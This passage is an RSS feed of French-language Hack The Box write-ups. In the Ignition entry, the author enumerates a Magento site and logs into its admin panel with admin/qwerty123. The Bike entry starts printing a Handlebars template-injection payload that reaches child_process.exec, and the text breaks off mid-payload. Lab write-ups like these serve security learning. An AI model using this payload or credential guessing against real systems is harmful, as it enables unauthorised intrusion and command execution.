<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xsl" href="rss.xsl"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>RavenBreach — Writeups</title>
        <link>https://mohamedoutougane.com/writeups</link>
        <description>Mes writeups HackTheBox et CTFs</description>
        <lastBuildDate>Mon, 16 Feb 2026 00:00:00 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>fr</language>
        <item>
            <title><![CDATA[Ignition]]></title>
            <link>https://mohamedoutougane.com/writeups/ignition</link>
            <guid>https://mohamedoutougane.com/writeups/ignition</guid>
            <pubDate>Mon, 16 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Enumération d'un panneau admin Magento et connexion avec des identifiants communs.]]></description>
            <content:encoded><![CDATA[<p>Bienvenue sur <strong>Ignition</strong>, une machine du <strong>Tier 1</strong> de <strong>Starting Point</strong> qui nous rappelle qu'un panneau d'administration exposé avec des identifiants faibles peut suffire à compromettre un système entier. Pas d'exploitation complexe — de la reconnaissance méthodique, <strong>Gobuster</strong>, et la bonne vieille recherche de <strong>mots de passe communs</strong>.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Attention : Il s'agit d'une machine VIP. Vous aurez besoin d'un abonnement HTB pour pouvoir la tester.</p></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation. Respectez les règles de la plateforme.</p></div></div>
<p><a href="https://www.youtube.com/@Raven_Breach/videos" target="_blank" rel="noopener noreferrer" class="">▶ RavenBreach sur YouTube</a></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance">Reconnaissance<a href="https://mohamedoutougane.com/writeups/ignition#reconnaissance" class="hash-link" aria-label="Lien direct vers Reconnaissance" title="Lien direct vers Reconnaissance" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="découverte-dhôte">Découverte d'hôte<a href="https://mohamedoutougane.com/writeups/ignition#d%C3%A9couverte-dh%C3%B4te" class="hash-link" aria-label="Lien direct vers Découverte d'hôte" title="Lien direct vers Découverte d'hôte" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌──</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">kali㉿kali</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">-</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└─$ </span><span class="token function" style="color:#d73a49">ping</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.1.27</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.1.27: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">11.5</span><span class="token plain"> ms</span><br></span></code></pre></div></div>
<p>Machine <strong>Linux</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="énumération-des-services">Énumération des services<a href="https://mohamedoutougane.com/writeups/ignition#%C3%A9num%C3%A9ration-des-services" class="hash-link" aria-label="Lien direct vers Énumération des services" title="Lien direct vers Énumération des services" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌──</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">kali㉿kali</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">-</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└─$ nmap </span><span class="token parameter variable" style="color:#36acaa">-p80</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sC</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.1.27</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT   STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">80</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  http    nginx </span><span class="token number" style="color:#36acaa">1.14</span><span class="token plain">.2</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">_http-title: Did not follow redirect to http://ignition.htb/</span><br></span></code></pre></div></div>
<p>Le scan révèle une <strong>redirection</strong> vers <code>http://ignition.htb/</code> — Name-Based Virtual Hosting.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="configuration-dns-locale">Configuration DNS locale<a href="https://mohamedoutougane.com/writeups/ignition#configuration-dns-locale" class="hash-link" aria-label="Lien direct vers Configuration DNS locale" title="Lien direct vers Configuration DNS locale" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">nano</span><span class="token plain"> /etc/hosts</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Ajouter : 10.129.1.27 ignition.htb</span><br></span></code></pre></div></div>
<p><img decoding="async" loading="lazy" alt="Édition /etc/hosts" src="https://mohamedoutougane.com/assets/images/image1-0b176ebf159af0788c0db54b64722ebc.png" width="651" height="517" class="img_ev3q"></p>
<p>En accédant à <code>http://ignition.htb</code> :</p>
<p><img decoding="async" loading="lazy" alt="Site Magento Ignition" src="https://mohamedoutougane.com/assets/images/image2-cf05e7e3b3bc20362ac70471e733207c.png" width="1277" height="804" class="img_ev3q"></p>
<p>L'analyse avec <strong>Wappalyzer</strong> révèle un CMS <strong>Magento</strong> (PHP, JavaScript, MySQL).</p>
<p><img decoding="async" loading="lazy" alt="Wappalyzer détecte Magento" src="https://mohamedoutougane.com/assets/images/image3-1e64d977148bfb7ba87e7d6820f6c5c3.png" width="1271" height="897" class="img_ev3q"></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pré-exploitation">Pré-Exploitation<a href="https://mohamedoutougane.com/writeups/ignition#pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Pré-Exploitation" title="Lien direct vers Pré-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="enumération-des-répertoires-avec-gobuster">Enumération des répertoires avec Gobuster<a href="https://mohamedoutougane.com/writeups/ignition#enum%C3%A9ration-des-r%C3%A9pertoires-avec-gobuster" class="hash-link" aria-label="Lien direct vers Enumération des répertoires avec Gobuster" title="Lien direct vers Enumération des répertoires avec Gobuster" translate="no">​</a></h3>
<p>La page d'accueil ne présente rien d'exploitable. On tente des injections XSS/SQL mais les entrées sont validées. On passe à l'énumération.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌──</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">kali㉿kali</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">-</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└─$ </span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> gobuster </span><span class="token function" style="color:#d73a49">dir</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-w</span><span class="token plain"> /usr/share/wordlists/common.txt </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> http://ignition.htb</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">/admin  </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">Status: </span><span class="token number" style="color:#36acaa">200</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">Size: </span><span class="token number" style="color:#36acaa">7092</span><span class="token punctuation" style="color:#393A34">]</span><br></span></code></pre></div></div>
<p>La route <code>/admin</code> est accessible (code 200) !</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="découverte-du-panneau-dadministration">Découverte du panneau d'administration<a href="https://mohamedoutougane.com/writeups/ignition#d%C3%A9couverte-du-panneau-dadministration" class="hash-link" aria-label="Lien direct vers Découverte du panneau d'administration" title="Lien direct vers Découverte du panneau d'administration" translate="no">​</a></h3>
<p>En naviguant vers <code>http://ignition.htb/admin</code> :</p>
<p><img decoding="async" loading="lazy" alt="Panneau admin Magento" src="https://mohamedoutougane.com/assets/images/image4-3d1374dc64d04f126de17b45986cf3e1.png" width="1272" height="887" class="img_ev3q"></p>
<p>Formulaire de connexion Magento Admin.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/ignition#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="recherche-didentifiants-valides">Recherche d'identifiants valides<a href="https://mohamedoutougane.com/writeups/ignition#recherche-didentifiants-valides" class="hash-link" aria-label="Lien direct vers Recherche d'identifiants valides" title="Lien direct vers Recherche d'identifiants valides" translate="no">​</a></h3>
<p>Il n'existe pas d'identifiants par défaut universels pour Magento. La <a href="https://experienceleague.adobe.com/en/docs/commerce-admin/systems/security/security-admin" target="_blank" rel="noopener noreferrer" class="">documentation Adobe pour Magento</a> précise que la politique de mots de passe impose un minimum de <strong>7 caractères</strong> avec un mélange de <strong>lettres et chiffres</strong>.</p>
<p>La machine date de <strong>2021</strong>. En croisant cette contrainte avec les listes de mots de passe les plus courants de 2021, on tente <code>admin</code> / <code>qwerty123</code>.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Sur une vraie mission, on utiliserait Hydra pour automatiser le bruteforce. Ici, la liste est suffisamment courte pour être testée manuellement et éviter tout blocage côté serveur.</p></div></div>
<p>La connexion réussit !</p>
<p><img decoding="async" loading="lazy" alt="Accès au dashboard Magento avec le flag" src="https://mohamedoutougane.com/assets/images/image5-9bddfb001f99523fbf6fdd306cd89192.png" width="1347" height="926" class="img_ev3q"></p>
<p>Le flag est affiché directement sur le dashboard.</p>
<p>La machine est <strong>pwned</strong> !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://mohamedoutougane.com/writeups/ignition#conclusion" class="hash-link" aria-label="Lien direct vers Conclusion" title="Lien direct vers Conclusion" translate="no">​</a></h2>
<p>Chaîne d'attaque :</p>
<ol>
<li class=""><strong>Reconnaissance</strong> → nginx avec redirection vers <code>ignition.htb</code>, ajout <code>/etc/hosts</code></li>
<li class=""><strong>Fingerprinting</strong> → détection de Magento via Wappalyzer</li>
<li class=""><strong>Enumération</strong> → route <code>/admin</code> trouvée avec Gobuster</li>
<li class=""><strong>Exploitation</strong> → connexion <code>admin</code> / <code>qwerty123</code>, mot de passe commun respectant la politique Magento 2021</li>
</ol>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Misconfiguration</category>
            <category>Web</category>
            <category>Linux</category>
            <category>VIP</category>
            <category>Tier 1</category>
        </item>
        <item>
            <title><![CDATA[Bike]]></title>
            <link>https://mohamedoutougane.com/writeups/bike</link>
            <guid>https://mohamedoutougane.com/writeups/bike</guid>
            <pubDate>Sun, 15 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Exploitation d'une SSTI sur Handlebars pour sortir d'une sandbox Node.js et obtenir un RCE.]]></description>
            <content:encoded><![CDATA[<p>Bienvenue sur <strong>Bike</strong>, une machine du <strong>Tier 1</strong> de <strong>Starting Point</strong> qui introduit à une vulnérabilité web redoutable : le <strong>SSTI (Server-Side Template Injection)</strong>. Quand une application utilise un moteur de templates pour afficher dynamiquement des données utilisateur sans les valider, un attaquant peut injecter du code qui sera exécuté directement côté serveur.</p>
<p>On va identifier que l'application tourne sur <strong>Node.js avec Express</strong> et le moteur de templates <strong>Handlebars</strong>, puis exploiter une injection pour contourner la sandbox et exécuter des commandes système arbitraires.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Attention : Il s'agit d'une machine VIP. Vous aurez besoin d'un abonnement HTB pour pouvoir la lancer.</p></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation. Respectez les règles de la plateforme.</p></div></div>
<p><a href="https://www.youtube.com/@Raven_Breach/videos" target="_blank" rel="noopener noreferrer" class="">▶ RavenBreach sur YouTube</a></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance">Reconnaissance<a href="https://mohamedoutougane.com/writeups/bike#reconnaissance" class="hash-link" aria-label="Lien direct vers Reconnaissance" title="Lien direct vers Reconnaissance" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="configuration-dns-locale">Configuration DNS locale<a href="https://mohamedoutougane.com/writeups/bike#configuration-dns-locale" class="hash-link" aria-label="Lien direct vers Configuration DNS locale" title="Lien direct vers Configuration DNS locale" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">nano</span><span class="token plain"> /etc/hosts</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Ajouter : 10.129.29.247 bike.htb</span><br></span></code></pre></div></div>
<p>On vérifie avec un <code>ping bike.htb</code> — TTL de 63 → machine <strong>Linux</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="énumération-des-services">Énumération des services<a href="https://mohamedoutougane.com/writeups/bike#%C3%A9num%C3%A9ration-des-services" class="hash-link" aria-label="Lien direct vers Énumération des services" title="Lien direct vers Énumération des services" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$nmap</span><span class="token plain"> -p22,80 </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sC</span><span class="token plain"> bike.htb</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT   STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">22</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  </span><span class="token function" style="color:#d73a49">ssh</span><span class="token plain">     OpenSSH </span><span class="token number" style="color:#36acaa">8</span><span class="token plain">.2p1 Ubuntu</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">80</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  http    Node.js </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">Express middleware</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">_http-title:  Bike</span><br></span></code></pre></div></div>
<p>Le port 80 tourne sur <strong>Node.js avec le framework Express</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploration-de-lapplication-web">Exploration de l'application web<a href="https://mohamedoutougane.com/writeups/bike#exploration-de-lapplication-web" class="hash-link" aria-label="Lien direct vers Exploration de l'application web" title="Lien direct vers Exploration de l'application web" translate="no">​</a></h3>
<p>En ouvrant <code>http://bike.htb</code>, on découvre un site avec un formulaire d'inscription à une newsletter.</p>
<p><img decoding="async" loading="lazy" alt="Formulaire newsletter Bike" src="https://mohamedoutougane.com/assets/images/image1-b19db9fabed905b7ea393dd6b929ba3b.png" width="786" height="676" class="img_ev3q"></p>
<p>On soumet une valeur quelconque et l'application renvoie notre saisie directement dans la page.</p>
<p><img decoding="async" loading="lazy" alt="Réflexion de l&amp;#39;input dans la réponse" src="https://mohamedoutougane.com/assets/images/image2-411ceaf40aa60bccdc83638a174409a7.png" width="754" height="663" class="img_ev3q"></p>
<p>Ce comportement est typique d'un moteur de templates affichant dynamiquement des données utilisateur. Ça sent la <strong>SSTI</strong>.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pré-exploitation">Pré-Exploitation<a href="https://mohamedoutougane.com/writeups/bike#pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Pré-Exploitation" title="Lien direct vers Pré-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="identification-de-la-vulnérabilité-ssti">Identification de la vulnérabilité SSTI<a href="https://mohamedoutougane.com/writeups/bike#identification-de-la-vuln%C3%A9rabilit%C3%A9-ssti" class="hash-link" aria-label="Lien direct vers Identification de la vulnérabilité SSTI" title="Lien direct vers Identification de la vulnérabilité SSTI" translate="no">​</a></h3>
<p>On soumet <code>{{7*7}}</code> dans le formulaire.</p>
<p><img decoding="async" loading="lazy" alt="Erreur révélant Handlebars" src="https://mohamedoutougane.com/assets/images/image3-f679b4bf0b07f8b7a24c2f8f8e91e7d1.png" width="783" height="481" class="img_ev3q"></p>
<p>On n'obtient pas <code>49</code> mais une <strong>erreur</strong>. Le serveur a tenté d'évaluer l'expression — la syntaxe <code>{{ }}</code> est reconnue. Le message d'erreur révèle le chemin <code>/routes/Backend/</code> et le nom du moteur : <strong>Handlebars</strong>.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Une erreur qui expose des chemins internes et le nom de la technologie est déjà une fuite d'information précieuse. En pentest, on note tout.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="mise-en-place-de-burpsuite">Mise en place de BurpSuite<a href="https://mohamedoutougane.com/writeups/bike#mise-en-place-de-burpsuite" class="hash-link" aria-label="Lien direct vers Mise en place de BurpSuite" title="Lien direct vers Mise en place de BurpSuite" translate="no">​</a></h3>
<p>On ouvre BurpSuite, on crée un projet temporaire, on active l'intercept et on ouvre le navigateur intégré.</p>
<p><img decoding="async" loading="lazy" alt="BurpSuite intercept activé" src="https://mohamedoutougane.com/assets/images/image4-e958b55b7e4c2884872523cfd1b2c1ef.png" width="924" height="898" class="img_ev3q"></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/bike#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="payload-ssti-handlebars">Payload SSTI Handlebars<a href="https://mohamedoutougane.com/writeups/bike#payload-ssti-handlebars" class="hash-link" aria-label="Lien direct vers Payload SSTI Handlebars" title="Lien direct vers Payload SSTI Handlebars" translate="no">​</a></h3>
<p>En cherchant sur <a href="https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/" target="_blank" rel="noopener noreferrer" class="">HackTricks</a> les payloads pour Handlebars, on utilise la syntaxe de blocks pour remonter au constructeur JavaScript et appeler <code>require('child_process').exec()</code>.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">{{#with "s" as |string|}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  {{#with "e"}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    {{#with split as |conslist|}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      {{this.pop}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      {{this.push (lookup string.sub "constructor")}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      {{this.pop}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      {{#with string.split as |codelist|}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        {{this.pop}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        {{this.push "return 